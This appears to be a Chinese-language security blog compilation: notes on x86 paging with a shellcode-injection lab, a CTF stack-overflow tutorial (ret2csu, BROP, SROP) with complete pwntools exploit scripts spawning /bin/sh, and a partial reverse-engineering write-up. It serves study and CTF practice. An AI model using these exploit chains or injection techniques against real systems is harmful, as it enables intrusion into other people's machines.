L2有4路,代表的意思是将4096分成四份,每一份拥有4096 /4 = 1024行;

相当于每一份拥有1024*64 = 64KB,在CPU内部的算法将L2内容写回L1时,或者写到L3时就是按照64KB为一次来的(分块写);

页表项属性

pagec

PDE和PTE分别对应二级页表,一级页表,他们的后12位都是属性值,因为它们都按1000h对齐,所以后12位空闲可用;

p,有效位,为0是无效;

R/W,读写位,为0只读,为1可写;

U/S,权限位,为1是r3,为0是r0,和之前讲到的s一样;

PWT,PCD,PAT与缓存相关;

A,访问位,访问过就置1;

D位是修改位,被写过就置1,二级页表(PDE)的始终为0;

PDE的PS位是大页位;

G,全局页;

avail,给操作系统预留;

补充知识点:

就算是这里算出来的物理地址,其实都只是L1~L3缓存的一个索引,并不是内存条上的地址,内存条上的地址叫板卡地址;

实际上访问L1,L2,L3也是通过访问其每一行的哈希值进行读写的,并不会直接使用物理地址;

虚拟内存换进换出的操作,使得没有使用的新分配内存空间不会获得物理页,也就没有页表项,内存的释放其实也是对页表项的释放;

当程序访问到页表时发生缺页中断,自行修复,恢复页表项和对应物理页(比如memset函数);

挂页实验

我们已然知晓页的机制,那么是否可以替换别的进程的0地址(虚拟地址)为我们自己分配的页地址(物理地址),以执行我们的壳代码呢?

答案是可以的,在这个实验中修改目标进程的二级页表依然会用到windbg,目前还无法脱离windbg进行修改;

同时会用到OpenProcess查找目标进程,CreateRemoteThread创建远程线程去主动执行壳代码;

补充个小知识点:堆区不属于任何一个段,而且在现代操作系统中,保护模式下,段其实都是一个概念,没有真的用到偏移计算这种东西,只是一个权限划分罢了,基本上都是靠分页机制来进行对内存权限的管理和分配,又因为101012分页模式,导致一个问题则是什么页都可以有执行的权限;

代码脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// test.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include<Windows.h>

int _tmain(int argc, _TCHAR* argv[])
{
//第一步 shellcode call MessageBoxA
BYTE shellcode[] = {0x6a,0x00,0x6a,0x00,0x6a,0x00,0x6a,0x00,
0xb8,0x00,0x00,0x00,0x00,0xff,0xd0,0xc3};
*(DWORD*)(&(shellcode[9])) = (DWORD)MessageBoxA;
BYTE* mem = (BYTE*)malloc(sizeof(BYTE)*0x1000);
memcpy(mem,&shellcode,sizeof(shellcode));
//获取mem的虚拟地址,以找到物理地址
printf("mem: %p\n",mem);

//第二步 挂进程 calc pid 3476
system("pause");
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,3476);
//虚拟地址为0x4b0执行,malloc有页内偏移4b0
HANDLE hThread = CreateRemoteThread(hProcess,0,0,(LPTHREAD_START_ROUTINE)0x4b0,0,0,0);
CloseHandle(hThread);
CloseHandle(hProcess);

system("pause");
return 0;
}

首先启动这个脚本,它会停到第二步,这个时候mem的地址依然打印出,且每次打印的页内偏移都是4b0;

此时远程线程的虚拟地址为4b0,第一次和第二次页表都是0项,所以到calc进程的二级页表0项里面的0项给改成通过mem找到的物理页即可;

又因为偏移相同,所以可以通过4b0虚拟地址找到相同的内存空间;

再次回车执行远程线程,此时可以发现calc弹窗了;相当于calc进程执行了我们这个进程的一个函数!

页管理

对于101012模式,一个进程有1024(2的十次方)个PDE和PTE(二级页表项和一级页表项),每一项都是存放4字节指针的,所以一个进程的页表一共就有4MB大小;

又因为高地址2G共享,每个进程的页表有2MB都一样;

同时在虚拟内存的高2个G内存中,是内核内存,其中有4MB就是专门用来管理当前进程的页表的;

在ntoskrnl文件中的一些操作就是对这个区域展开的;

在101012模式下,操作系统设定的当前进程PDT(二级页表)位于 c0300000,PTT(一级页表)位于 c0000000(定死了,它们永远都是这个);

在ntoskrnl文件中进行物理寻址的时候,利用的则是这两个基址,因为ntoskrnl文件不能直接使用物理地址,也需要虚拟地址;

因为ntoskrnl文件也是一个软件,尽管它是专门用于页表处理的;

当操作系统本身进行页处理的时候,会通过这两个基址进行CPU intel架构的计算,从而拿到物理页地址(映射关系);

一个技巧:

  • 由于操作系统使用了虚拟地址来管理两个页表,那么可以通过实际CPU intel规定的页表寻址方法对 c0300000进行寻址(这个虚拟地址是否和cr3二级页表物理地址一一对应呢?),拿到的就肯定是cr3的值,也就是PDT(二级页表)对应的物理地址;
  • 对c0300000拆分,则是 300 300 000;
  • 已知当前进程的二级页表基址为c0300000,那么c0300000 + 300*4 = c0300c00,这个地方存的值实际上就是cr3;
  • 拿到这个值再次运算! cr3 + 300*4 = c0300c00(虚拟地址依然是这个);
  • 取页内偏移: c0300c00+0 = c0300c00;
  • 所以 c0300c00 存的就是当前进程的cr3值!
  • 这样就可以不访问cr3而获取cr3的值(32位下绕过VT);

如图所示:

环

这是一个环; 101012模式下,cr3+c00即可拿到本身;

29912模式

101012模式是位于32根地址总线的分页模式产物;

对于内存的不够使用,CPU架构引出了36根地址总线的分页模式:29912,使用的技术叫pae技术;

它的地址继承了原本的4字节长度地址,线性地址没有突破,还是32位;

但是由于物理内存(不是内存条)大小此时是2的36次方,64G,所以二级页表,一级页表的表项有了增多;

原先的表项是4个字节,一个页内存1024项,现在的表项是8个字节,一个页内存512项;

相当于也是管理4G内存,但是使用的页表总计为:
$$
4512512*8 = 8MB
$$
总共8MB;

分页模式相当于多了一个页表,变成了三级;

2 9 9 12的模式,计算规则同上,只不过项索引需要乘8,因为每项占8字节;

在29912模式下,虚拟基址是c0600000(PDT二级页表)和c0000000(PTT一级页表),可以从ntkrnlpa.exe中获取;

在进程内,只需要使用这两张表,不需要用到第三级页表,第三级页表的表项属性不影响最终的结果,依然是看两级,一级的页表项属性;

但是从cr3开始找是算三级页表的;

多出来的内存不是用于进程,而是供给键盘,等usb设备使用;

由于101012模式下,所有内存都有可执行权;

所以在29912以后,都在页属性(PDE,PTE结构)的最高位位置,新设了一位XD(NX)来进行执行权的约束,为1不可执行;

在此模式下,malloc申请的空间就不可以直接执行了;

这是DEP保护的本质;

缓存

在页表属性的时候,提到了三个位和缓存有关:PWT,PCD,PAT;

概念:

缓存类型

首先要有的理解是,CPU读数据写数据都是优先读写缓存的(L1,L2,L3);

同时,一行64B,作为缓存行;

0 -> 无缓存,直接从内存条拿数据;

1 -> 写合并,对于写这一过程,取L1缓存行没取到,取L2取到了,那么写到L2的同时,给L1添加相同缓存行,一次4个地址(intel);

6 -> 回写,根据计数器被写回到内存条(先写回L1);

4 -> 直写,写到缓存后,同时同步到主存(从L1,L2,L3一路同步过去);

7 -> 弱无缓存;

5 -> 写保护,只读,不可写;

利用写合并的特性,可以一定程度上提升CPU效率(比如一个特别大的循环里只一次性赋值4个值,可以多循环几次,这样比循环一次赋多值更快!)(疑似无效了?);

写保护和 R/W 位实际上是一个东西;

对于只读的页属性有一个有意思的地方,这里先给出前置知识:

  1. 虚拟地址管理(VAD)会给出当前虚拟地址所拥有的属性(保护模式下的段概念);

    这个属性里也有RWE,同时有一个写时拷贝的属性;

  2. 同一路径同一名称的dll被不同exe加载,使用的物理页一样,虚拟地址不一样而已;

  3. 使用VirtualProtect改的属性实际上是VAD指向的属性,页属性不做变化;

当VAD的属性是可写的时候,而指向的物理页的R/W或者写保护位是不可写的时候,操作系统触发页异常,此时会查看VAD里面的写时拷贝属性,如果为1(写时可拷贝),那么就进行异常处理:将物理页分成两份,并给写到的物理页属性变为可写,此时两份dll内存才分开;

写时拷贝的意义在于只有改变时才进行隔离,因为不改变时,两份相同的没有意义,只用一份即可,所以直观看起来,每个进程的模块也是独立的,实则不然;

PAT: 页属性表,当此位为1时,该页用于管理缓存的属性;

PCD: 页缓存关闭,当此位为1时,不用缓存;

PWT: 页直写,为1就是直写模式(适用于多媒体实时更新);

TLB

一般分两种类型 ITLB,DTLB;

I是指令,D是数据,它们的TLB不是同一个,是分开的;

这两类又细分小页(4KB)TLB和大页(2MB,4MB)TLB;

大页的概念:由PDE直接寻址,即二级页表指向的直接就是一个大的页面,PDE.ps属性为1;

32位下,TLB内部存放的格式大概如图:

虚拟页帧 物理页帧 属性 次数

页帧的概念就是不加页内偏移的其余部分;

我们之前说过,TLB快表的存在的意义就是加速物理地址访问,省去映射过程,省去内存中的页表结构访问过程;

如何证明它是存在的呢?正常而言,它的过程和效果就和映射,查看页表一样,对于我们人来说是不可见的;

但接下来这个实验可以证明TLB真实存在;

我们分配两个地址空间,分别是a和b的内容,然后我们分别把这两个地址挂到虚拟0地址;

接下来分别访问两次0地址,如果两次访问结果内容相同,就说明是有TLB存在的;

因为访问过一次以后,它会把对应TLB关系写入TLB内,第二次访问它直接拿0地址去TLB寻址返回对应的物理页帧,而不再重新映射一遍;

我们这两次访问要足够快,不然TLB就把记录给刷掉了;

所以选择使用中断门进行手动修改和访问,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
// test.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include<Windows.h>

BYTE*A,*B;
int a,b;

void _declspec(naked) test()
{
__asm
{
pushad
pushfd
push 0x30
pop fs

mov eax, [A]
shr eax,9
and eax, 0x7ffff8
add eax, 0xc0000000 //获取A的PTE

mov ecx,[eax]
mov dword ptr ds:[0xc0000000],ecx //挂到0地址,不用管高位

mov eax, dword ptr ds:[0]
mov [a],eax

mov eax, [B]
shr eax,9
and eax, 0x7ffff8
add eax, 0xc0000000 //获取B的PTE

mov ecx,[eax]
mov dword ptr ds:[0xc0000000],ecx //挂到0地址,不用管高位

mov eax, dword ptr ds:[0]
mov [b],eax

push 0x3b
pop fs
popfd
popad
retf
}
}

int _tmain(int argc, _TCHAR* argv[])
{
char bufcode[6] = {0,0,0,0,0x48,0};
A = (BYTE*)VirtualAlloc(0,0x1000,MEM_COMMIT,PAGE_READWRITE);
B = (BYTE*)VirtualAlloc(0,0x1000,MEM_COMMIT,PAGE_READWRITE);
*A = 'a';
*B = 'b';
printf("A地址: %p\n",A);
printf("B地址: %p\n",B);
printf("A: %c\n",*A);
printf("B: %c\n",*B);

system("pause");

__asm
{
call fword ptr bufcode
}

printf("a: %c\n",a);
printf("b: %c\n",b);
system("pause");

return 0;
}

实验结果如下:

TLB结果

这说明TLB确实存在,不信可以仔细看看代码;

在指令中,有一个指令 [invlpg 地址],指定刷掉TLB中的对应虚拟地址;

控制寄存器

32位如图(64位也有它们):

CR

CR1是保留寄存器没有使用;

CR2存放的是页异常虚拟地址,用于告知14号中断是哪个线性地址出了异常,中断调用没有形参;

CR3存放页表基址,以及标记该进程的缓存属性;

CR0:

PG是页模式开启,PE是段模式开启,在保护模式下默认都是1;

EM,MP,NE,ET是和数学,浮点数,错误相关,不太重要;

TS是任务段,在任务段内TS置为1;

CD置一,那么全部没有缓存,是缓存总开关,NW置一,所有都不直写;

WP,保护写,写权限的总开关,置为0强行写任意页;

AM,r3环境下的对齐,64位下,为1那么CR4里面的SMAP,SMEP生效;

CR4:

VME,开启虚拟8086模式;

PVI,开启虚拟8086模式下的模拟中断;

TSD,如果为1,r3可以调用rdtsc指令,否则报错;

DE,如果为1,DR4=DR6 DR5=DR7,否则访问DR5,DR4异常(调试寄存器);

PSE,如果为1,大页有效,大页总开关;

PAE,如果为1,那么29912,否则101012;

MCE,机器检查中断(0x12中断)有效位;

PGE,如果为1,页的G位有效,否则无效;

PCE,监控事件开关;

VMXE,如果为1,开启VT;

SMXE,如果为1,开启上帝模式;

OSFXSR,OSXMMEXCPT,UMIP,LA57,OSXSAVE与浮点相关;

FSGSBASE,FS可以不通过段解析拆分,rdmsr指令直接获取fs基址;

PCIDE,每个进程的CR3是否有缓存;

SMEP,SMAP -> super mode (execute/access),如果为1,r0不可以执行和访问r3;

CET, 无用;

PKS,PKE,是否加密页表;

阅读全文
栈溢出进阶

所用题目可在中级ROP - CTF Wiki (ctf-wiki.org)找到;

ret2csu

对于X64(amd64)程序,函数传参为rdi,rsi,rdx,rcx,r8,r9,然后是栈;

而x64程序中有这样一个系统自带函数 __libc_csu_init,这个函数是用来对 libc 进行初始化操作的;

这个函数里面有许多可以利用的gadget,可以控制一些寄存器,可以用一道题来进行演示(level5);

image.png

分析后很简单的一个栈溢出,没了,什么都没有,只有一个我们上面提到的__libc_csu_init可以利用;

image.png

我也不知道为什么ida翻译过来的内容是这样的,而且这段代码还不能直接利用pop rdi ret(拆开pop r15机械码),很奇怪;

思路为:

  • 获取libc基址;
  • 拿system地址;
  • 拿binsh地址;
  • 执行system(binsh);

编写exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

#write和read的libc函数地址对应指针(got表)
write_addr = 0x601000
read_addr = 0x601008
main = 0x400564
#__libc_csu_init中的利用
pop_rbx_egg_gadget = 0x400606
dx_si_di_gadget = 0x4005F0

p = process('./level5')

#第一步,获取libc基址
#执行write函数需要三个变量 rdi为1(写到标准输出)rsi为写入内容 rdx为长度 write(1,"ddd",len);
#所以需要先控制这三个寄存器内容为1,和write_addr,以及8!
# 返回到利用 未知偏移 rbx rbp r12 r13-edi r14-rsi r15-rdx ret
payload = b'a'* 0x88 + p64(pop_rbx_egg_gadget) +p64(0) + p64(0) + p64(1) + p64(write_addr) + p64(1) + p64(write_addr) + p64(8) + p64(dx_si_di_gadget)
#这个时候已经把我们想要的寄存器给改了,同时执行call [r12 + rbx*8],执行write后,绕过rbp与rbx的判断,此时应该返回main
payload += p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(main)
p.recv()
p.sendline(payload)
#拿到libc基址 第一步完成
write_in_libc = u64(p.recvuntil("Hello, World\n")[:8])
libc.address = write_in_libc - libc.sym['write']

#通过libc拿system和binsh
binsh = next(libc.search(b'/bin/sh\x00'))
system = libc.sym['system']

print('binsh:',hex(binsh),' system:',hex(system))

#第二步,执行system
#因为只能控制edi,binsh的完整地址放不进去,可以先写到bss段,因为bss段长度没那么大,可以使用edi
#同时call [r12 + rbx*8] 需要的是函数指针,所以也可以把system地址写过去
bss = 0x0601028
# read(0,bss,16);
payload = b'a'* 0x88 + p64(pop_rbx_egg_gadget) +p64(0) + p64(0) + p64(1) + p64(read_addr) + p64(0) + p64(bss) + p64(16) + p64(dx_si_di_gadget)
payload += p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(main)
p.sendline(payload)
p.send(p64(system) + b'/bin/sh\x00')
p.recv()

#此时我们有了函数指针以及小地址的binsh字符串;
#利用call [r12 + rbx*8] 执行system(/bin/sh)
payload = b'a'* 0x88 + p64(pop_rbx_egg_gadget) +p64(0) + p64(0) + p64(1) + p64(bss) + p64(bss+8) + p64(0) + p64(0) + p64(dx_si_di_gadget)
p.sendline(payload)

p.interactive()

在wiki上,作者提到了对ret2csu的改进,思路是尽量不改变使用的寄存器的值且提前改变,进行多次利用,节省ROP空间;

ret2reg

原理

  • 查看溢出函数返回时哪个寄存值指向溢出缓冲区空间;
  • 然后反编译二进制,查找 call reg 或者 jmp reg 指令,将 EIP 设置为该指令地址(gadget利用);
  • reg 所指向的空间上注入 Shellcode (需要确保该空间是可以执行的,但通常都是栈上的);

这里解释下JOP和COP的含义:jump oriented programming, call oriented programming;

在ret2csu中,我们最后利用的一次payload实际上就是COP,思路类似;

BROP

全名:blind return oriented programming;

攻击条件

  • 源程序必须存在栈溢出漏洞,以便于攻击者可以控制程序流程。
  • 服务器端的进程在崩溃之后会重新启动,并且重新启动的进程的地址与先前的地址一样(这也就是说即使程序有 ASLR 保护,但是其只是在程序最初启动的时候有效果)。目前 nginx, MySQL, Apache, OpenSSH 等服务器应用都是符合这种特性的。

攻击原理

目前,大部分应用都会开启 ASLR、NX、Canary 保护;

基本思路

在 BROP 中,基本的遵循的思路如下

  • 判断栈溢出长度
    • 暴力枚举
  • Stack Reading
    • 获取栈上的数据来泄露 canaries,以及 ebp 和返回地址。
  • Blind ROP
    • 找到足够多的 gadgets 来控制输出函数的参数,并且对其进行调用,比如说常见的 write 函数以及 puts 函数。
  • Build the exploit
    • 利用输出函数来 dump 出程序以便于来找到更多的 gadgets,从而可以写出最后的 exploit。

由于程序崩溃会重新启动,且地址一样,cannary一样,所以可以通过溢出崩溃进行爆破;

而寻找gadget需要一些技巧:

  • 寻找 stop gadget:所谓stop gadget一般指的是这样一段代码:当程序的执行这段代码时,程序会进入无限循环,这样使得攻击者能够一直保持连接状态(用于之后测试gadget地址);当找到一段gadget之后,程序继续执行返回到这段连接状态地区时,程序一直连接,证明找到一段可用的gadget;
  • 识别gadget:将可利用的gadget称之为probe等待测试,此外还需要找到stop(stop gadget地址)和trap(导致程序崩溃地址);利用stop和trap的不同摆放栈上的位置可以探测出,probe里面的内容,比如:
    • probe,trap,stop,traps:通过这个样子找到只是弹出一个栈变量的gadget(崩溃了就不是,没崩溃就说明找到了);

相当于在识别gadget时,只需要确定stop之前有几个trap,就能知道pop了几次,同时如果要确认probe本身不是一个stop,则需要二次确认,在probe后方全部添加为trap,如果崩了,说明probe找对了,否则就被误导了;

在ret2csu的__libc_csu_init函数后面的那一串pop称之为brop gadget,因为它的特征很明显,一次性pop 6次,所以在找的时候尽量去找brop gadget,因为其他找到的gadget无法识别它到底pop的是哪个寄存器!通过brop gadget,可以控制rsi,edi;

寻找plt表利用函数:

为什么是找plt而不直接找got呢?因为plt在got内存之前,在很多段之前,从程序基址找起,第一次找到的就是它;

对于plt表,如果我们发现了一系列的长度为 16 的没有使得程序崩溃的代码段,那么我们有一定的理由相信我们遇到了 plt 表(使用了它的函数);除此之外,我们还可以通过前后偏移 6 字节,来判断我们是处于 plt 表项中间还是说处于开头;

关于plt表的格式问题公式化套路:最后一次调用函数成功的地址减6为真实plt表地址;

之后就会利用strcmp来控制rdx的值,进而使用打印函数;

判断strcmp的方法也简单:控制前两个参数为可读地址,它才能正确执行,否则崩溃;

之后就是寻找输出函数;

寻找put有一个公式:

其中addr为爆破地址;

如果能打印出elf,就说明找对了输出函数;

1
payload = b'a'*length +p64(pop_rdi_ret)+p64(0x400000)+p64(addr)+p64(stop_gadget)

实现攻击

以一道题为例子: HCTF2016 的出题人失踪了

没有二进制文件,直接用脚本进行测试:

测试溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

def testStack(payload):
p = process('./brop')
p.recvuntil("WelCome my friend,Do you know password?\n")
p.sendline(payload)
return p.recv()

for i in range(1,0x100):
try:
res = testStack(b'a'*i)
print(res)
except EOFError:
print('this is length: ',i,' .')
print(res)
break

当i = 73时,发生EOF报错,同时没有出现cannary报错,说明72之后为返回地址;

寻找stop gadget

此时开始寻找关键判断内容:stop gadget;

因为原程序本身就有一个等待输入的部分,所以可以思考能否返回到再次输入的部分呢?

这个样子就构成了stop gadget,同时也能再一次进行输入利用,相当于返回了一次main;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

overflowlen = 72

#从40W开始,400590,400591,400595,0x400596 linux会崩掉
for i in range(0x400597,0xffffffffffffffff):
try:
print(hex(i))
p = process('./brop')
p.recvuntil("WelCome my friend,Do you know password?\n")
payload = b'a' * overflowlen + p64(i)
p.sendline(payload)
res = p.recv()
#测试发现程序崩溃后不会打印之后的字符串
if res == b'WelCome my friend,Do you know password?\n':
print('stop gadget: ',hex(i))
exit(0)
p.close()
except Exception:
p.close()

#stop gadget: 0x4005c0

利用如上脚本得到一个stopgadget地址;

识别brop gadget

利用之前的原理寻找连续6pop的的地方:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *

overflowlen = 72
stop = 0x4005c0
trap = 0x400000

#已经确认744之前无brop gadget 不是recv timeout就是linux崩
for i in range(0x40074a,0xffffffffffffffff):
try:
#都会导致linux崩溃
#if i == 0x400590 or i == 0x400591 or i == 0x400595 or i == 0x400596 or i == 0x4005cc or i == 0x4005cb:
if i == 0x4006f2 or i == 0x400700 or i == 0x400734:
continue
print(hex(i))
p = process('./brop')
p.recvuntil("WelCome my friend,Do you know password?\n")
payload = b'a' * overflowlen + p64(i) + p64(trap) + p64(trap)+ p64(trap)+ p64(trap)+ p64(trap)+ p64(trap) + p64(stop) + p64(trap)
p.sendline(payload)
res = p.recv(timeout = 2)

if res == b'WelCome my friend,Do you know password?\n':
#判断探针i是否本身就是一个stop
p.close()
try:
p = process('./brop')
p.recvuntil("WelCome my friend,Do you know password?\n")
payload = b'a' * overflowlen + p64(i) + p64(trap) + p64(trap)+ p64(trap)+ p64(trap)+ p64(trap)+ p64(trap) + p64(trap) + p64(trap)
p.sendline(payload)
res = p.recv(timeout = 2)
except Exception:
print('brop gadget: ',hex(i))
exit(0)
p.close()
continue
p.close()
except Exception:
p.close()

#brop gadget: 0x4007ba

可以找到brop gadget的地址;

同时这道题的csu pop是正常的,不是mov再给rsp减38h,是连着pop的,所以可以用pop rdi之前提及到的这种小技巧;

接下来就是找函数了;

确定put plt地址

image

上图是关于brop gadget的利用,直接通过brop gadget地址 + 9获取 pop rdi ret

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

overflowlen = 72
stop = 0x4005c0
trap = 0x400000
brop_gadget = 0x4007ba
pop_rdi_ret = brop_gadget + 9

for i in range(0x400000,0xffffffffffffffff):
print(hex(i))
p = process('./brop')
p.recvuntil("WelCome my friend,Do you know password?\n")
#公式
payload = b'a'*overflowlen + p64(pop_rdi_ret) + p64(0x400000) + p64(i) + p64(stop)
p.sendline(payload)
try:
res = p.recv()
if res.startswith(b'\x7fELF'):
print('put_addr: ',hex(i))
break
p.close()
except Exception:
p.close()

#put_addr: 0x400555

至此获取put导入表中的地址,但这里获取的是调用put之前的一段代码,我们需要找到最后一次调用put成功的段减去6的偏移(plt表的结构问题),才是put在导入表中真正的地址!

在经过一轮测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

overflowlen = 72
stop = 0x4005c0
trap = 0x400000
brop_gadget = 0x4007ba
pop_rdi_ret = brop_gadget + 9

#从第一次执行put开始
for i in range(0x400555,0xffffffffffffffff):
print(hex(i))
p = process('./brop')
p.recvuntil("WelCome my friend,Do you know password?\n")
#公式
payload = b'a'*overflowlen + p64(pop_rdi_ret) + p64(0x400000) + p64(i) + p64(stop)
p.sendline(payload)
try:
res = p.recv()
if res.startswith(b'\x7fELF'):
print('put_addr: ',hex(i))
p.close()
except Exception:
p.close()

通过测试可以知道最后一次通过判断是put_addr: 0x400566;

那么put的plt地址为0x400560;

泄露put got地址

用put泄露地址,要注意它是把内存按照字符串进行打印,遇到00会截断;

所以定义一个函数,按一段内存进行泄露;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

overflowlen = 72
stop = 0x4005c0
trap = 0x400000
brop_gadget = 0x4007ba
pop_rdi_ret = brop_gadget + 9
put_plt = 0x400560

def leak(start,end):
data = b''
i = start
while(1):
p = process('./brop')
p.recvuntil("WelCome my friend,Do you know password?\n")
payload = b'a'*overflowlen + p64(pop_rdi_ret) + p64(i) + p64(put_plt) + p64(stop)
p.sendline(payload)
try:
res = p.recvuntil(b"\nWelCome",timeout = 2)
res = res[:-8]
data = data + res + b'\x00'
i = i + len(res) + 1
p.close()
except Exception:
p.close()
if i >= end:
break
return data

#从put_plt往后0x100个字节,当然也可以从40W开始
res = leak(put_plt,put_plt+0x100)

with open('codess','wb') as f:
f.write(res)

之后用ida打开codess重定位到400560:

image.png

能够拿到put的got表地址在0x601018;

之后就是getshell了;

最终的EXP

思路为获取libc基址,调用system,结束;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

overflowlen = 72
stop = 0x4005c0
trap = 0x400000
brop_gadget = 0x4007ba
pop_rdi_ret = brop_gadget + 9
put_plt = 0x400560
put_got = 0x601018

#泄露基址
p = process('./brop')
p.recvuntil("WelCome my friend,Do you know password?\n")
payload = b'a'*overflowlen + p64(pop_rdi_ret) + p64(put_got) + p64(put_plt) + p64(stop)

p.sendline(payload)
res = p.recvuntil(b'\nWelCome')
put_addr_in_libc = u64(res[:-8].ljust(8,b'\x00'))
libc.address = put_addr_in_libc - libc.sym['puts']

#获取binsh和system
binsh = next(libc.search(b'/bin/sh\x00'))
system = libc.sym['system']

#执行system
p.recv()
payload = b'a'*overflowlen + p64(pop_rdi_ret) + p64(binsh) + p64(system) + p64(stop)
p.sendline(payload)
p.interactive()

总结一下,这道题实际上没有开cannary,没有开pie,如果开了,需要先爆破cannary,之后寻找程序基址;

如果开了PIE,就比较棘手了,首先确定put调用的方法需要换了,除非有找到程序基址的方法;

CTF WIKI上没有明确提出如果有PIE如何解决的问题;

其实可以通过获取的stop gadget地址(回到输入的地址)来推测是否开启PIE,大概确定一个基址的范围(用于设置起点快速遍历);

确定put的方法可以直接把40W打印出ELF改为打印BROP gadget处的特征码就行了,可以不用确定基址;

之后还是照常做就行;

Stack Smash

原理

当发生栈溢出时, libc会调用一个函数: __fortify_fail 传参为 stack smashing detected 字符串;

同时这个函数会打印文件名(环境变量),这个文件名存在main函数栈的下方,所以栈溢出可以覆盖到;

适用版本为 glibc < 2.27;

补充:环境变量时存放在栈上的,同时libc里有一个符号叫 environ,它存放了环境变量地址,通过libc基址可拿到 environ地址,通过environ地址可拿到环境变量地址,也就是栈上的地址;

利用

可以读取内存中的字符串信息,将其覆盖到对应栈位置;

所以如果有题目在内存中读取了flag,可以思考利用这个;

SROP

sigreturn oriented programming(面向sigreturn的编写),sigreturn 是一个系统调用,它在unix系统发生signal时会被间接调用,信号机制(中断);

原理

内核向进程发起一个signal,该进程被挂起(阻塞态),CPU进入内核态;

内核为其保存上下文,跳转相应的signal handler(一个函数,处理的时候继承挂起进程的内存空间,用户态,由进程本身定义编写)进行处理;

处理程序执行完毕,切入进程,恢复其上下文,继续执行;

Linux下,内核会帮用户进程将其上下文保存在它的栈上,然后在栈顶给到地址:rt_sigreturn,这个函数中会执行sigreturn系统调用;当signal handler执行完后,会返回去执行sigreturn;

出现的问题:

  • sigreturn也是用户态执行;
  • 上下文恢复不会检测,直接用,覆盖了的话,寄存器信息就变了;

利用

跳过前两步(内核给到signal,保存上下文),手动编写SROP链(自己写的上下文信息以及rt_sigreturn地址),手动的return到sigreturn,自动的帮我们恢复我们定义的上下文,从而控制程序流;

rt_sigreturn在i386下,存放于vdso,而在x64下,int 15就可以直接系统调用它;

主要利用x64下的,其SROP构造如下:

image.png

在pwntools里给出了关于SROP的利用:

1
2
3
4
5
6
7
8
9
#记得架构给到
context.arch = 'amd64'
#注意覆盖空间要够大,这个frame有0x100的大小
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = binsh_addr
frame.rip = syscall
frame.rsi = 0 #函数return覆盖 int 15
payload = b'a'*0x10 + p64(mov_rax_15_ret) + p64(syscall) + bytes(frame)

当禁用59 execve时,通过orw(open read write)获取flag;

阅读全文
2024-强网拟态-easyre

题目附件:https://pan.baidu.com/s/1qEbEZ_xdS33hOiExvLR7ng?pwd=3457

一个exe程序,直接拖到ida里,发现没有main,很混乱,直接猜测上了自解密 + 混淆花指令;

根本看不到伪代码,硬啃汇编罢;

image.png

不打算修,太多了,直接调,函数列表搜索scan,可以拿到库函数:

?scan_optional_field_width@?$format_string_parser@D@__crt_stdio_input@@AEAA_NXZ

在这个函数里打上断点,可以在输入内容的时候断下,然后一层一层的往上层函数断点测试:

可以找到最终的scanf调用实际上使用了下面这个函数:

??$?RV_lambda_a81aa23bb2c9577c1e55b9d0b57d9de4_@@AEAV_lambda_9a20e10065b92b5193c3597a66cba9d4_@@V_lambda_cb3a421ff86d8a5f008440ee6b28fa9c_@@@?$__crt_seh_guarded_call@H@@QEAAH$$QEAV_lambda_a81aa23bb2c9577c1e55b9d0b57d9de4_@@AEAV_lambda_9a20e10065b92b5193c3597a66cba9d4_@@$$QEAV_lambda_cb3a421ff86d8a5f008440ee6b28fa9c_@@@Z_1

也是一个库函数,接着这个函数往下走,可以走到一个神奇的地方,我称之为中转站,也是找到虚拟机的特征,操作码一类的东西:

image.png

这个rax实际上就是一个操作码,每次都有不同的功能,在前几次调试测试会发现,第一次调用call之后,就会打印wrong flag;

而当rip在这个地方的时候往栈上看,能发现我们输入的内容:

image.png

对着我们输入的地址按x查看引用能找到一个地方,调过去能发现这是第一次call会执行的,再次调试能够知道实际上是在调用strlen函数,它将strlen给到rax,然后call rax,过了中转站之后第二次call就会打印wrong flag:

image.png

对着strlen再继续跟下去会得知flag长度是56;

如果长度是正确的,第一次call完之后,剩下的call就开始循环了,貌似在操作输入的字符串;

通过每三次call,可以发现它是一个动作,每三次rdx都会加2,当加到70h之后变成新的循环;

实际上也就是以56为一个循环,一共要循环两次,但是调试的时候发现第一次循环没有对输入的内容做修改,而第二次循环会对输入的内容替换为用7F去减去它本身的值(通过观察栈上的值);

这56长度的循环结束之后,会有一个短循环,一共call 26次,第25次就会输出wrong flag,第26次进入结束程序;

通过调试可以发现,这26次里面,在对输入的内容进行分组加密,每8字节为一组,应该是电码本模式,因为56个a加密的东西分组的很明显:

image.png

对8个字节的分组加密部分也是3次call为一个动作,一共执行21次,把7个分组都加密完,剩下的4次call很可能就是用来进行判断的;

